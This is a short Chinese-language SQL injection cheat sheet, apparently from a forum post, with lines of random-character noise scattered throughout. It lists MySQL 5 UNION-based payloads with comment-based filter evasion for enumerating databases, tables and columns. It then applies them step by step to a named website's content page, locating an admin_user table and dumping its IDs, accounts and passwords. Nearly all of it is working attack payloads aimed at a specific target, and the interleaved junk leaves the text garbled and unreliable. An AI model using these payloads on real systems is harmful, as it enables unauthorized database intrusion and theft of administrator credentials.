查库$ l) m% J# b2 \
( p4 {" |& K; Y/ P8 V; T5 B
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*" a* O3 l l+ u( z* O9 q: c' H
' i/ [3 q0 B% a查表: |- Z' O7 `0 Q8 D7 l( V% I5 Q/ v
4 Q4 j( R( c0 X( N6 zid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1, |. Z" A: \8 v8 H; v5 G- t2 l
6 G* y: L8 B' k( k8 q1 n4 Y; l; i; P
查段; b& Q" i3 S, m4 `
8 S0 U% b+ U pid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
6 S, a, Y" i: H& ^8 D" g* t8 r! s4 K. u1 e: @
! o; R9 V& `$ r# K6 B1 ^
mysql5高级注入方法暴表1 w$ t) P7 q. m" ]
7 n5 j% U5 v+ m' w' w
例子如下:
/ b! {3 y% X! \* D0 A; E! r
0 E2 n+ J# k0 r& }) \4 B% D, N1.爆表
, W) G1 b. j6 y) {http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)* j- I' ~$ W! l) F9 a
这样爆到第4个时出现了admin_user表。
1 _9 K2 F/ O9 K8 b$ {# G) k! V8 M6 ^! J' l# L, ^+ s# S# G0 K6 x
2.暴字段
1 U+ A# p: q' e D6 r8 f1 Dhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
1 W; [" i6 h3 K& n
! T6 h/ M6 W' J: x* V2 l; K: S* q% ]5 i( D3 W: n
3.爆密码/ O( U) Q$ c9 U) u) M3 {
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
. N6 g4 p( ~4 b1 P( V
/ y2 I! |0 L: s8 ?- @ [4 D+ N
1 k7 a& N3 F+ N7 E0 i/ [+ r" c7 h! x/ n |